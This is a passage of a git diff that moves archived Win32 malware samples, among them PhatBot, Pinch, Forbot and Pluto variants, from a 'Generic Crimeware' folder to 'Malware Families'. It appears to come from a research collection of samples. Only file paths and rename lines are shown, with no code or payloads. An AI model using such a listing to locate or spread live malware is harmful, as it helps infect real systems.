Families/Win32.120Bot/Win32.120Bot.a.7z diff --git a/Win32/Generic Crimeware/Win32.120Bot/Win32.120Bot.a.a.rar b/Win32/Malware Families/Win32.120Bot/Win32.120Bot.a.a.rar similarity index 100% rename from Win32/Generic Crimeware/Win32.120Bot/Win32.120Bot.a.a.rar rename to Win32/Malware Families/Win32.120Bot/Win32.120Bot.a.a.rar diff --git a/Win32/Generic Crimeware/Win32.120Bot/Win32.120Bot.a.b.rar b/Win32/Malware Families/Win32.120Bot/Win32.120Bot.a.b.rar similarity index 100% rename from Win32/Generic Crimeware/Win32.120Bot/Win32.120Bot.a.b.rar rename to Win32/Malware Families/Win32.120Bot/Win32.120Bot.a.b.rar diff --git a/Win32/Generic Crimeware/Win32.120Bot/Win32.120Bot.a.c.rar b/Win32/Malware Families/Win32.120Bot/Win32.120Bot.a.c.rar similarity index 100% rename from Win32/Generic Crimeware/Win32.120Bot/Win32.120Bot.a.c.rar rename to Win32/Malware Families/Win32.120Bot/Win32.120Bot.a.c.rar diff --git a/Win32/Generic Crimeware/Win32.120Bot/Win32.120Bot.a.d.rar b/Win32/Malware Families/Win32.120Bot/Win32.120Bot.a.d.rar similarity index 100% rename from Win32/Generic Crimeware/Win32.120Bot/Win32.120Bot.a.d.rar rename to Win32/Malware Families/Win32.120Bot/Win32.120Bot.a.d.rar diff --git a/Win32/Generic Crimeware/Win32.120Bot/Win32.120Bot.a.g.rar b/Win32/Malware Families/Win32.120Bot/Win32.120Bot.a.g.rar similarity index 100% rename from Win32/Generic Crimeware/Win32.120Bot/Win32.120Bot.a.g.rar rename to Win32/Malware Families/Win32.120Bot/Win32.120Bot.a.g.rar diff --git a/Win32/Generic Crimeware/Win32.120Bot/Win32.120Bot.a.k.rar b/Win32/Malware Families/Win32.120Bot/Win32.120Bot.a.k.rar similarity index 100% rename from Win32/Generic Crimeware/Win32.120Bot/Win32.120Bot.a.k.rar rename to Win32/Malware Families/Win32.120Bot/Win32.120Bot.a.k.rar diff --git a/Win32/Generic Crimeware/Win32.120Bot/Win32.120Bot.a.m.rar b/Win32/Malware Families/Win32.120Bot/Win32.120Bot.a.m.rar similarity index 100% rename from Win32/Generic Crimeware/Win32.120Bot/Win32.120Bot.a.m.rar rename to Win32/Malware Families/Win32.120Bot/Win32.120Bot.a.m.rar diff --git a/Win32/Generic Crimeware/Win32.120Bot/Win32.120Bot.a.v.rar b/Win32/Malware Families/Win32.120Bot/Win32.120Bot.a.v.rar similarity index 100% rename from Win32/Generic Crimeware/Win32.120Bot/Win32.120Bot.a.v.rar rename to Win32/Malware Families/Win32.120Bot/Win32.120Bot.a.v.rar diff --git a/Win32/Generic Crimeware/Win32.120Bot/Win32.120Bot.b.rar b/Win32/Malware Families/Win32.120Bot/Win32.120Bot.b.rar similarity index 100% rename from Win32/Generic Crimeware/Win32.120Bot/Win32.120Bot.b.rar rename to Win32/Malware Families/Win32.120Bot/Win32.120Bot.b.rar diff --git a/Win32/Generic Crimeware/Win32.120Bot/Win32.120Bot.b.t.rar b/Win32/Malware Families/Win32.120Bot/Win32.120Bot.b.t.rar similarity index 100% rename from Win32/Generic Crimeware/Win32.120Bot/Win32.120Bot.b.t.rar rename to Win32/Malware Families/Win32.120Bot/Win32.120Bot.b.t.rar diff --git a/Win32/Generic Crimeware/Win32.120Bot/Win32.120Bot.j.rar b/Win32/Malware Families/Win32.120Bot/Win32.120Bot.j.rar similarity index 100% rename from Win32/Generic Crimeware/Win32.120Bot/Win32.120Bot.j.rar rename to Win32/Malware Families/Win32.120Bot/Win32.120Bot.j.rar diff --git a/Win32/Generic Crimeware/Win32.120Bot/Win32.120Bot.m.rar b/Win32/Malware Families/Win32.120Bot/Win32.120Bot.m.rar similarity index 100% rename from Win32/Generic Crimeware/Win32.120Bot/Win32.120Bot.m.rar rename to Win32/Malware Families/Win32.120Bot/Win32.120Bot.m.rar diff --git a/Win32/Generic Crimeware/Win32.120Bot/Win32.120Bot.t.rar b/Win32/Malware Families/Win32.120Bot/Win32.120Bot.t.rar similarity index 100% rename from Win32/Generic Crimeware/Win32.120Bot/Win32.120Bot.t.rar rename to Win32/Malware Families/Win32.120Bot/Win32.120Bot.t.rar diff --git a/Win32/Generic Crimeware/Win32.4Horsemen/Win32.4HorseMan.a.7z b/Win32/Malware Families/Win32.4Horsemen/Win32.4HorseMan.a.7z similarity index 100% rename from Win32/Generic Crimeware/Win32.4Horsemen/Win32.4HorseMan.a.7z rename to Win32/Malware Families/Win32.4Horsemen/Win32.4HorseMan.a.7z diff --git a/Win32/Generic Crimeware/Win32.4Horsemen/Win32.4HorseMan.b.7z b/Win32/Malware Families/Win32.4Horsemen/Win32.4HorseMan.b.7z similarity index 100% rename from Win32/Generic Crimeware/Win32.4Horsemen/Win32.4HorseMan.b.7z rename to Win32/Malware Families/Win32.4Horsemen/Win32.4HorseMan.b.7z diff --git a/Win32/Generic Crimeware/Win32.ABot/Win32.ABot.c.7z b/Win32/Malware Families/Win32.ABot/Win32.ABot.c.7z similarity index 100% rename from Win32/Generic Crimeware/Win32.ABot/Win32.ABot.c.7z rename to Win32/Malware Families/Win32.ABot/Win32.ABot.c.7z diff --git a/Win32/Generic Crimeware/Win32.ABot/Win32.ABot.r.7z b/Win32/Malware Families/Win32.ABot/Win32.ABot.r.7z similarity index 100% rename from Win32/Generic Crimeware/Win32.ABot/Win32.ABot.r.7z rename to Win32/Malware Families/Win32.ABot/Win32.ABot.r.7z diff --git a/Win32/Generic Crimeware/Win32.Ak/Win32.Ak.a.7z b/Win32/Malware Families/Win32.Ak/Win32.Ak.a.7z similarity index 100% rename from Win32/Generic Crimeware/Win32.Ak/Win32.Ak.a.7z rename to Win32/Malware Families/Win32.Ak/Win32.Ak.a.7z diff --git a/Win32/Generic Crimeware/Win32.Ak/Win32.Ak.d.7z b/Win32/Malware Families/Win32.Ak/Win32.Ak.d.7z similarity index 100% rename from Win32/Generic Crimeware/Win32.Ak/Win32.Ak.d.7z rename to Win32/Malware Families/Win32.Ak/Win32.Ak.d.7z diff --git a/Win32/Generic Crimeware/Win32.Bfbot/Win32.Bfbot.ac.7z b/Win32/Malware Families/Win32.Bfbot/Win32.Bfbot.ac.7z similarity index 100% rename from Win32/Generic Crimeware/Win32.Bfbot/Win32.Bfbot.ac.7z rename to Win32/Malware Families/Win32.Bfbot/Win32.Bfbot.ac.7z diff --git a/Win32/Generic Crimeware/Win32.Bfbot/Win32.Bfbot.af.7z b/Win32/Malware Families/Win32.Bfbot/Win32.Bfbot.af.7z similarity index 100% rename from Win32/Generic Crimeware/Win32.Bfbot/Win32.Bfbot.af.7z rename to Win32/Malware Families/Win32.Bfbot/Win32.Bfbot.af.7z diff --git a/Win32/Generic Crimeware/Win32.Blacksun/Win32.Blacksun.a.rar b/Win32/Malware Families/Win32.Blacksun/Win32.Blacksun.a.rar similarity index 100% rename from Win32/Generic Crimeware/Win32.Blacksun/Win32.Blacksun.a.rar rename to Win32/Malware Families/Win32.Blacksun/Win32.Blacksun.a.rar diff --git a/Win32/Generic Crimeware/Win32.Blacksun/Win32.Blacksun.jb.rar b/Win32/Malware Families/Win32.Blacksun/Win32.Blacksun.jb.rar similarity index 100% rename from Win32/Generic Crimeware/Win32.Blacksun/Win32.Blacksun.jb.rar rename to Win32/Malware Families/Win32.Blacksun/Win32.Blacksun.jb.rar diff --git a/Win32/Generic Crimeware/Win32.C15/Win32.C15.a.7z b/Win32/Malware Families/Win32.C15/Win32.C15.a.7z similarity index 100% rename from Win32/Generic Crimeware/Win32.C15/Win32.C15.a.7z rename to Win32/Malware Families/Win32.C15/Win32.C15.a.7z diff --git a/Win32/Generic Crimeware/Win32.C15/Win32.C15.c.7z b/Win32/Malware Families/Win32.C15/Win32.C15.c.7z similarity index 100% rename from Win32/Generic Crimeware/Win32.C15/Win32.C15.c.7z rename to Win32/Malware Families/Win32.C15/Win32.C15.c.7z diff --git a/Win32/Generic Crimeware/Win32.CyberBot/Win32.CyberBot.bb.7z b/Win32/Malware Families/Win32.CyberBot/Win32.CyberBot.bb.7z similarity index 100% rename from Win32/Generic Crimeware/Win32.CyberBot/Win32.CyberBot.bb.7z rename to Win32/Malware Families/Win32.CyberBot/Win32.CyberBot.bb.7z diff --git a/Win32/Generic Crimeware/Win32.CyberBot/Win32.CyberBot.d.rar b/Win32/Malware Families/Win32.CyberBot/Win32.CyberBot.d.rar similarity index 100% rename from Win32/Generic Crimeware/Win32.CyberBot/Win32.CyberBot.d.rar rename to Win32/Malware Families/Win32.CyberBot/Win32.CyberBot.d.rar diff --git a/Win32/Generic Crimeware/Win32.DBot/Win32.DBot.a.7z b/Win32/Malware Families/Win32.DBot/Win32.DBot.a.7z similarity index 100% rename from Win32/Generic Crimeware/Win32.DBot/Win32.DBot.a.7z rename to Win32/Malware Families/Win32.DBot/Win32.DBot.a.7z diff --git a/Win32/Generic Crimeware/Win32.DBot/Win32.DBot.b.7z b/Win32/Malware Families/Win32.DBot/Win32.DBot.b.7z similarity index 100% rename from Win32/Generic Crimeware/Win32.DBot/Win32.DBot.b.7z rename to Win32/Malware Families/Win32.DBot/Win32.DBot.b.7z diff --git a/Win32/Generic Crimeware/Win32.DBot/Win32.DBot.ca.7z b/Win32/Malware Families/Win32.DBot/Win32.DBot.ca.7z similarity index 100% rename from Win32/Generic Crimeware/Win32.DBot/Win32.DBot.ca.7z rename to Win32/Malware Families/Win32.DBot/Win32.DBot.ca.7z diff --git a/Win32/Generic Crimeware/Win32.Darkness/Win32.Darkness.a.rar b/Win32/Malware Families/Win32.Darkness/Win32.Darkness.a.rar similarity index 100% rename from Win32/Generic Crimeware/Win32.Darkness/Win32.Darkness.a.rar rename to Win32/Malware Families/Win32.Darkness/Win32.Darkness.a.rar diff --git a/Win32/Generic Crimeware/Win32.Darkness/Win32.Darkness.b.rar b/Win32/Malware Families/Win32.Darkness/Win32.Darkness.b.rar similarity index 100% rename from Win32/Generic Crimeware/Win32.Darkness/Win32.Darkness.b.rar rename to Win32/Malware Families/Win32.Darkness/Win32.Darkness.b.rar diff --git a/Win32/Generic Crimeware/Win32.DciBot/Win32.DciBot.a.7z b/Win32/Malware Families/Win32.DciBot/Win32.DciBot.a.7z similarity index 100% rename from Win32/Generic Crimeware/Win32.DciBot/Win32.DciBot.a.7z rename to Win32/Malware Families/Win32.DciBot/Win32.DciBot.a.7z diff --git a/Win32/Generic Crimeware/Win32.DciBot/Win32.DciBot.b.7z b/Win32/Malware Families/Win32.DciBot/Win32.DciBot.b.7z similarity index 100% rename from Win32/Generic Crimeware/Win32.DciBot/Win32.DciBot.b.7z rename to Win32/Malware Families/Win32.DciBot/Win32.DciBot.b.7z diff --git a/Win32/Generic Crimeware/Win32.Dopebot/Win32.Dopebot.a.rar b/Win32/Malware Families/Win32.Dopebot/Win32.Dopebot.a.rar similarity index 100% rename from Win32/Generic Crimeware/Win32.Dopebot/Win32.Dopebot.a.rar rename to Win32/Malware Families/Win32.Dopebot/Win32.Dopebot.a.rar diff --git a/Win32/Generic Crimeware/Win32.Dopebot/Win32.Dopebot.ab.rar b/Win32/Malware Families/Win32.Dopebot/Win32.Dopebot.ab.rar similarity index 100% rename from Win32/Generic Crimeware/Win32.Dopebot/Win32.Dopebot.ab.rar rename to Win32/Malware Families/Win32.Dopebot/Win32.Dopebot.ab.rar diff --git a/Win32/Generic Crimeware/Win32.Dopebot/Win32.Dopebot.b.rar b/Win32/Malware Families/Win32.Dopebot/Win32.Dopebot.b.rar similarity index 100% rename from Win32/Generic Crimeware/Win32.Dopebot/Win32.Dopebot.b.rar rename to Win32/Malware Families/Win32.Dopebot/Win32.Dopebot.b.rar diff --git a/Win32/Generic Crimeware/Win32.Dopebot/Win32.Dopebot.c.rar b/Win32/Malware Families/Win32.Dopebot/Win32.Dopebot.c.rar similarity index 100% rename from Win32/Generic Crimeware/Win32.Dopebot/Win32.Dopebot.c.rar rename to Win32/Malware Families/Win32.Dopebot/Win32.Dopebot.c.rar diff --git a/Win32/Generic Crimeware/Win32.Fearso/Win32.Fearso.a.7z b/Win32/Malware Families/Win32.Fearso/Win32.Fearso.a.7z similarity index 100% rename from Win32/Generic Crimeware/Win32.Fearso/Win32.Fearso.a.7z rename to Win32/Malware Families/Win32.Fearso/Win32.Fearso.a.7z diff --git a/Win32/Generic Crimeware/Win32.Fearso/Win32.Fearso.b.7z b/Win32/Malware Families/Win32.Fearso/Win32.Fearso.b.7z similarity index 100% rename from Win32/Generic Crimeware/Win32.Fearso/Win32.Fearso.b.7z rename to Win32/Malware Families/Win32.Fearso/Win32.Fearso.b.7z diff --git a/Win32/Generic Crimeware/Win32.Fearso/Win32.Fearso.c.7z b/Win32/Malware Families/Win32.Fearso/Win32.Fearso.c.7z similarity index 100% rename from Win32/Generic Crimeware/Win32.Fearso/Win32.Fearso.c.7z rename to Win32/Malware Families/Win32.Fearso/Win32.Fearso.c.7z diff --git a/Win32/Generic Crimeware/Win32.Fearso/Win32.Fearso.e.7z b/Win32/Malware Families/Win32.Fearso/Win32.Fearso.e.7z similarity index 100% rename from Win32/Generic Crimeware/Win32.Fearso/Win32.Fearso.e.7z rename to Win32/Malware Families/Win32.Fearso/Win32.Fearso.e.7z diff --git a/Win32/Generic Crimeware/Win32.Fearso/Win32.Fearso.f.7z b/Win32/Malware Families/Win32.Fearso/Win32.Fearso.f.7z similarity index 100% rename from Win32/Generic Crimeware/Win32.Fearso/Win32.Fearso.f.7z rename to Win32/Malware Families/Win32.Fearso/Win32.Fearso.f.7z diff --git a/Win32/Generic Crimeware/Win32.Forbot/Win32.ForBot.a.7z b/Win32/Malware Families/Win32.Forbot/Win32.ForBot.a.7z similarity index 100% rename from Win32/Generic Crimeware/Win32.Forbot/Win32.ForBot.a.7z rename to Win32/Malware Families/Win32.Forbot/Win32.ForBot.a.7z diff --git a/Win32/Generic Crimeware/Win32.Forbot/Win32.ForBot.f.7z b/Win32/Malware Families/Win32.Forbot/Win32.ForBot.f.7z similarity index 100% rename from Win32/Generic Crimeware/Win32.Forbot/Win32.ForBot.f.7z rename to Win32/Malware Families/Win32.Forbot/Win32.ForBot.f.7z diff --git a/Win32/Generic Crimeware/Win32.Forbot/Win32.Forbot.b.c.7z b/Win32/Malware Families/Win32.Forbot/Win32.Forbot.b.c.7z similarity index 100% rename from Win32/Generic Crimeware/Win32.Forbot/Win32.Forbot.b.c.7z rename to Win32/Malware Families/Win32.Forbot/Win32.Forbot.b.c.7z diff --git a/Win32/Generic Crimeware/Win32.Forbot/Win32.Forbot.b.d.b.7z b/Win32/Malware Families/Win32.Forbot/Win32.Forbot.b.d.b.7z similarity index 100% rename from Win32/Generic Crimeware/Win32.Forbot/Win32.Forbot.b.d.b.7z rename to Win32/Malware Families/Win32.Forbot/Win32.Forbot.b.d.b.7z diff --git a/Win32/Generic Crimeware/Win32.Forbot/Win32.Forbot.o.7z b/Win32/Malware Families/Win32.Forbot/Win32.Forbot.o.7z similarity index 100% rename from Win32/Generic Crimeware/Win32.Forbot/Win32.Forbot.o.7z rename to Win32/Malware Families/Win32.Forbot/Win32.Forbot.o.7z diff --git a/Win32/Generic Crimeware/Win32.HBot/Win32.HBot.a.7z b/Win32/Malware Families/Win32.HBot/Win32.HBot.a.7z similarity index 100% rename from Win32/Generic Crimeware/Win32.HBot/Win32.HBot.a.7z rename to Win32/Malware Families/Win32.HBot/Win32.HBot.a.7z diff --git a/Win32/Generic Crimeware/Win32.HBot/Win32.HBot.c.7z b/Win32/Malware Families/Win32.HBot/Win32.HBot.c.7z similarity index 100% rename from Win32/Generic Crimeware/Win32.HBot/Win32.HBot.c.7z rename to Win32/Malware Families/Win32.HBot/Win32.HBot.c.7z diff --git a/Win32/Generic Crimeware/Win32.Hooker/Win32.Hooker.b.d.7z b/Win32/Malware Families/Win32.Hooker/Win32.Hooker.b.d.7z similarity index 100% rename from Win32/Generic Crimeware/Win32.Hooker/Win32.Hooker.b.d.7z rename to Win32/Malware Families/Win32.Hooker/Win32.Hooker.b.d.7z diff --git a/Win32/Generic Crimeware/Win32.Hooker/Win32.Hooker.b.e.7z b/Win32/Malware Families/Win32.Hooker/Win32.Hooker.b.e.7z similarity index 100% rename from Win32/Generic Crimeware/Win32.Hooker/Win32.Hooker.b.e.7z rename to Win32/Malware Families/Win32.Hooker/Win32.Hooker.b.e.7z diff --git a/Win32/Generic Crimeware/Win32.Litmus/Win32.Litmus.a.7z b/Win32/Malware Families/Win32.Litmus/Win32.Litmus.a.7z similarity index 100% rename from Win32/Generic Crimeware/Win32.Litmus/Win32.Litmus.a.7z rename to Win32/Malware Families/Win32.Litmus/Win32.Litmus.a.7z diff --git a/Win32/Generic Crimeware/Win32.Litmus/Win32.Litmus.b.7z b/Win32/Malware Families/Win32.Litmus/Win32.Litmus.b.7z similarity index 100% rename from Win32/Generic Crimeware/Win32.Litmus/Win32.Litmus.b.7z rename to Win32/Malware Families/Win32.Litmus/Win32.Litmus.b.7z diff --git a/Win32/Generic Crimeware/Win32.MiniMail/Win32.MiniMail.c.7z b/Win32/Malware Families/Win32.MiniMail/Win32.MiniMail.c.7z similarity index 100% rename from Win32/Generic Crimeware/Win32.MiniMail/Win32.MiniMail.c.7z rename to Win32/Malware Families/Win32.MiniMail/Win32.MiniMail.c.7z diff --git a/Win32/Generic Crimeware/Win32.MiniMail/Win32.MiniMail.delfb.7z b/Win32/Malware Families/Win32.MiniMail/Win32.MiniMail.delfb.7z similarity index 100% rename from Win32/Generic Crimeware/Win32.MiniMail/Win32.MiniMail.delfb.7z rename to Win32/Malware Families/Win32.MiniMail/Win32.MiniMail.delfb.7z diff --git a/Win32/Generic Crimeware/Win32.MiniMail/Win32.MiniMail.delfl.7z b/Win32/Malware Families/Win32.MiniMail/Win32.MiniMail.delfl.7z similarity index 100% rename from Win32/Generic Crimeware/Win32.MiniMail/Win32.MiniMail.delfl.7z rename to Win32/Malware Families/Win32.MiniMail/Win32.MiniMail.delfl.7z diff --git a/Win32/Generic Crimeware/Win32.Moogly/Win32.Moogly.dfya.7z b/Win32/Malware Families/Win32.Moogly/Win32.Moogly.dfya.7z similarity index 100% rename from Win32/Generic Crimeware/Win32.Moogly/Win32.Moogly.dfya.7z rename to Win32/Malware Families/Win32.Moogly/Win32.Moogly.dfya.7z diff --git a/Win32/Generic Crimeware/Win32.Moogly/Win32.Moogly.dfyb.7z b/Win32/Malware Families/Win32.Moogly/Win32.Moogly.dfyb.7z similarity index 100% rename from Win32/Generic Crimeware/Win32.Moogly/Win32.Moogly.dfyb.7z rename to Win32/Malware Families/Win32.Moogly/Win32.Moogly.dfyb.7z diff --git a/Win32/Generic Crimeware/Win32.Mystic/Win32.Mystic.f.rar b/Win32/Malware Families/Win32.Mystic/Win32.Mystic.f.rar similarity index 100% rename from Win32/Generic Crimeware/Win32.Mystic/Win32.Mystic.f.rar rename to Win32/Malware Families/Win32.Mystic/Win32.Mystic.f.rar diff --git a/Win32/Generic Crimeware/Win32.Mystic/Win32.Mystic.u.rar b/Win32/Malware Families/Win32.Mystic/Win32.Mystic.u.rar similarity index 100% rename from Win32/Generic Crimeware/Win32.Mystic/Win32.Mystic.u.rar rename to Win32/Malware Families/Win32.Mystic/Win32.Mystic.u.rar diff --git a/Win32/Generic Crimeware/Win32.NesBot/Win32.NesBot.a.rar b/Win32/Malware Families/Win32.NesBot/Win32.NesBot.a.rar similarity index 100% rename from Win32/Generic Crimeware/Win32.NesBot/Win32.NesBot.a.rar rename to Win32/Malware Families/Win32.NesBot/Win32.NesBot.a.rar diff --git a/Win32/Generic Crimeware/Win32.NesBot/Win32.NesBot.b.rar b/Win32/Malware Families/Win32.NesBot/Win32.NesBot.b.rar similarity index 100% rename from Win32/Generic Crimeware/Win32.NesBot/Win32.NesBot.b.rar rename to Win32/Malware Families/Win32.NesBot/Win32.NesBot.b.rar diff --git a/Win32/Generic Crimeware/Win32.NesBot/Win32.NesBot.e.7z b/Win32/Malware Families/Win32.NesBot/Win32.NesBot.e.7z similarity index 100% rename from Win32/Generic Crimeware/Win32.NesBot/Win32.NesBot.e.7z rename to Win32/Malware Families/Win32.NesBot/Win32.NesBot.e.7z diff --git a/Win32/Generic Crimeware/Win32.NzM/Win32.NzM.a.7z b/Win32/Malware Families/Win32.NzM/Win32.NzM.a.7z similarity index 100% rename from Win32/Generic Crimeware/Win32.NzM/Win32.NzM.a.7z rename to Win32/Malware Families/Win32.NzM/Win32.NzM.a.7z diff --git a/Win32/Generic Crimeware/Win32.NzM/Win32.NzM.c.7z b/Win32/Malware Families/Win32.NzM/Win32.NzM.c.7z similarity index 100% rename from Win32/Generic Crimeware/Win32.NzM/Win32.NzM.c.7z rename to Win32/Malware Families/Win32.NzM/Win32.NzM.c.7z diff --git a/Win32/Generic Crimeware/Win32.PhatBot/Win32.PhatBot.a.rar b/Win32/Malware Families/Win32.PhatBot/Win32.PhatBot.a.rar similarity index 100% rename from Win32/Generic Crimeware/Win32.PhatBot/Win32.PhatBot.a.rar rename to Win32/Malware Families/Win32.PhatBot/Win32.PhatBot.a.rar diff --git a/Win32/Generic Crimeware/Win32.PhatBot/Win32.PhatBot.b.rar b/Win32/Malware Families/Win32.PhatBot/Win32.PhatBot.b.rar similarity index 100% rename from Win32/Generic Crimeware/Win32.PhatBot/Win32.PhatBot.b.rar rename to Win32/Malware Families/Win32.PhatBot/Win32.PhatBot.b.rar diff --git a/Win32/Generic Crimeware/Win32.PhatBot/Win32.PhatBot.c.rar b/Win32/Malware Families/Win32.PhatBot/Win32.PhatBot.c.rar similarity index 100% rename from Win32/Generic Crimeware/Win32.PhatBot/Win32.PhatBot.c.rar rename to Win32/Malware Families/Win32.PhatBot/Win32.PhatBot.c.rar diff --git a/Win32/Generic Crimeware/Win32.PhatBot/Win32.PhatBot.g.rar b/Win32/Malware Families/Win32.PhatBot/Win32.PhatBot.g.rar similarity index 100% rename from Win32/Generic Crimeware/Win32.PhatBot/Win32.PhatBot.g.rar rename to Win32/Malware Families/Win32.PhatBot/Win32.PhatBot.g.rar diff --git a/Win32/Generic Crimeware/Win32.PhatBot/Win32.PhatBot.p.rar b/Win32/Malware Families/Win32.PhatBot/Win32.PhatBot.p.rar similarity index 100% rename from Win32/Generic Crimeware/Win32.PhatBot/Win32.PhatBot.p.rar rename to Win32/Malware Families/Win32.PhatBot/Win32.PhatBot.p.rar diff --git a/Win32/Generic Crimeware/Win32.PhatBot/Win32.PhatBot.s.b.rar b/Win32/Malware Families/Win32.PhatBot/Win32.PhatBot.s.b.rar similarity index 100% rename from Win32/Generic Crimeware/Win32.PhatBot/Win32.PhatBot.s.b.rar rename to Win32/Malware Families/Win32.PhatBot/Win32.PhatBot.s.b.rar diff --git a/Win32/Generic Crimeware/Win32.PhatBot/Win32.PhatBot.s.rar b/Win32/Malware Families/Win32.PhatBot/Win32.PhatBot.s.rar similarity index 100% rename from Win32/Generic Crimeware/Win32.PhatBot/Win32.PhatBot.s.rar rename to Win32/Malware Families/Win32.PhatBot/Win32.PhatBot.s.rar diff --git a/Win32/Generic Crimeware/Win32.Pinch/Win32.Pinch.a.7z b/Win32/Malware Families/Win32.Pinch/Win32.Pinch.a.7z similarity index 100% rename from Win32/Generic Crimeware/Win32.Pinch/Win32.Pinch.a.7z rename to Win32/Malware Families/Win32.Pinch/Win32.Pinch.a.7z diff --git a/Win32/Generic Crimeware/Win32.Pinch/Win32.Pinch.b.7z b/Win32/Malware Families/Win32.Pinch/Win32.Pinch.b.7z similarity index 100% rename from Win32/Generic Crimeware/Win32.Pinch/Win32.Pinch.b.7z rename to Win32/Malware Families/Win32.Pinch/Win32.Pinch.b.7z diff --git a/Win32/Generic Crimeware/Win32.Pluto/Win32.Pluto.a.zip b/Win32/Malware Families/Win32.Pluto/Win32.Pluto.a.zip similarity index 100% rename from Win32/Generic Crimeware/Win32.Pluto/Win32.Pluto.a.zip rename to Win32/Malware Families/Win32.Pluto/Win32.Pluto.a.zip diff --git a/Win32/Generic Crimeware/Win32.Pluto/Win32.Pluto.ab.zip b/Win32/Malware Families/Win32.Pluto/Win32.Pluto.ab.zip similarity index 100% rename from Win32/Generic Crimeware/Win32.Pluto/Win32.Pluto.ab.zip rename to Win32/Malware Families/Win32.Pluto/Win32.Pluto.ab.zip diff --git a/Win32/Generic Crimeware/Win32.Pluto/Win32.Pluto.ac.zip b/Win32/Malware Families/Win32.Pluto/Win32.Pluto.ac.zip similarity index 100% rename from Win32/Generic Crimeware/Win32.Pluto/Win32.Pluto.ac.zip rename to Win32/Malware Families/Win32.Pluto/Win32.Pluto.ac.zip diff --git a/Win32/Generic Crimeware/Win32.Pluto/Win32.Pluto.ad.zip b/Win32/Malware Families/Win32.Pluto/Win32.Pluto.ad.zip similarity index 100% rename from Win32/Generic Crimeware/Win32.Pluto/Win32.Pluto.ad.zip rename to Win32/Malware Families/Win32.Pluto/Win32.Pluto.ad.zip diff --git a/Win32/Generic Crimeware/Win32.Pluto/Win32.Pluto.ae.zip b/Win32/Malware Families/Win32.Pluto/Win32.Pluto.ae.zip similarity index 100% rename from Win32/Generic Crimeware/Win32.Pluto/Win32.Pluto.ae.zip rename to Win32/Malware Families/Win32.Pluto/Win32.Pluto.ae.zip diff --git a/Win32/Generic Crimeware/Win32.Pluto/Win32.Pluto.af.zip b/Win32/Malware Families/Win32.Pluto/Win32.Pluto.af.zip similarity index 100% rename from Win32/Generic Crimeware/Win32.Pluto/Win32.Pluto.af.zip rename to Win32/Malware Families/Win32.Pluto/Win32.Pluto.af.zip diff --git a/Win32/Generic Crimeware/Win32.Pluto/Win32.Pluto.ag.zip b/Win32/Malware Families/Win32.Pluto/Win32.Pluto.ag.zip similarity index 100% rename from Win32/Generic Crimeware/Win32.Pluto/Win32.Pluto.ag.zip rename to Win32/Malware Families/Win32.Pluto/Win32.Pluto.ag.zip diff --git a/Win32/Generic Crimeware/Win32.Pluto/Win32.Pluto.ah.zip b/Win32/Malware Families/Win32.Pluto/Win32.Pluto.ah.zip similarity index 100% rename from Win32/Generic Crimeware/Win32.Pluto/Win32.Pluto.ah.zip rename to Win32/Malware Families/Win32.Pluto/Win32.Pluto.ah.zip diff --git a/Win32/Generic Crimeware/Win32.Pluto/Win32.Pluto.ai.zip b/Win32/Malware Families/Win32.Pluto/Win32.Pluto.ai.zip similarity index 100% rename from Win32/Generic Crimeware/Win32.Pluto/Win32.Pluto.ai.zip rename to Win32/Malware Families/Win32.Pluto/Win32.Pluto.ai.zip diff --git a/Win32/Generic Crimeware/Win32.Pluto/Win32.Pluto.aj.zip b/Win32/Malware Families/Win32.Pluto/Win32.Pluto.aj.zip similarity index 100% rename from Win32/Generic Crimeware/Win32.Pluto/Win32.Pluto.aj.zip rename to Win32/Malware Families/Win32.Pluto/Win32.Pluto.aj.zip diff --git a/Win32/Generic Crimeware/Win32.Pluto/Win32.Pluto.ak.zip b/Win32/Malware Families/Win32.Pluto/Win32.Pluto.ak.zip similarity index 100% rename from Win32/Generic Crimeware/Win32.Pluto/Win32.Pluto.ak.zip rename to Win32/Malware Families/Win32.Pluto/Win32.Pluto.ak.zip diff --git a/Win32/Generic Crimeware/Win32.Pluto/Win32.Pluto.al.zip b/Win32/Malware Families/Win32.Pluto/Win32.Pluto.al.zip similarity index 100% rename from Win32/Generic Crimeware/Win32.Pluto/Win32.Pluto.al.zip rename to Win32/Malware Families/Win32.Pluto/Win32.Pluto.al.zip diff --git a/Win32/Generic Crimeware/Win32.Pluto/Win32.Pluto.am.zip b/Win32/Malware Families/Win32.Pluto/Win32.Pluto.am.zip similarity index 100% rename from Win32/Generic Crimeware/Win32.Pluto/Win32.Pluto.am.zip rename to Win32/Malware Families/Win32.Pluto/Win32.Pluto.am.zip diff --git a/Win32/Generic Crimeware/Win32.Pluto/Win32.Pluto.an.zip b/Win32/Malware Families/Win32.Pluto/Win32.Pluto.an.zip similarity index 100% rename from Win32/Generic Crimeware/Win32.Pluto/Win32.Pluto.an.zip rename to Win32/Malware Families/Win32.Pluto/Win32.Pluto.an.zip diff --git a/Win32/Generic Crimeware/Win32.Pluto/Win32.Pluto.ao.zip b/Win32/Malware Families/Win32.Pluto/Win32.Pluto.ao.zip similarity index 100% rename from Win32/Generic Crimeware/Win32.Pluto/Win32.Pluto.ao.zip rename to Win32/Malware Families/Win32.Pluto/Win32.Pluto.ao.zip diff --git a/Win32/Generic Crimeware/Win32.Pluto/Win32.Pluto.ap.zip b/Win32/Malware Families/Win32.Pluto/Win32.Pluto.ap.zip similarity index 100% rename from Win32/Generic Crimeware/Win32.Pluto/Win32.Pluto.ap.zip rename to Win32/Malware Families/Win32.Pluto/Win32.Pluto.ap.zip diff --git a/Win32/Generic Crimeware/Win32.Pluto/Win32.Pluto.aq.zip b/Win32/Malware Families/Win32.Pluto/Win32.Pluto.aq.zip similarity index 100% rename from Win32/Generic Crimeware/Win32.Pluto/Win32.Pluto.aq.zip rename to Win32/Malware Families/Win32.Pluto/Win32.Pluto.aq.zip diff --git a/Win32/Generic Crimeware/Win32.Pluto/Win32.Pluto.ar.zip b/Win32/Malware Families/Win32.Pluto/Win32.Pluto.ar.zip similarity index 100% rename from Win32/Generic Crimeware/Win32.Pluto/Win32.Pluto.ar.zip rename to Win32/Malware Families/Win32.Pluto/Win32.Pluto.ar.zip diff --git a/Win32/Generic Crimeware/Win32.Pluto/Win32.Pluto.as.zip b/Win32/Malware Families/Win32.Pluto/Win32.Pluto.as.zip similarity index 100% rename from Win32/Generic Crimeware/Win32.Pluto/Win32.Pluto.as.zip rename to Win32/Malware Families/Win32.Pluto/Win32.Pluto.as.zip diff --git a/Win32/Generic Crimeware/Win32.Pluto/Win32.Pluto.at.zip b/Win32/Malware Families/Win32.Pluto/Win32.Pluto.at.zip similarity index 100% rename from Win32/Generic 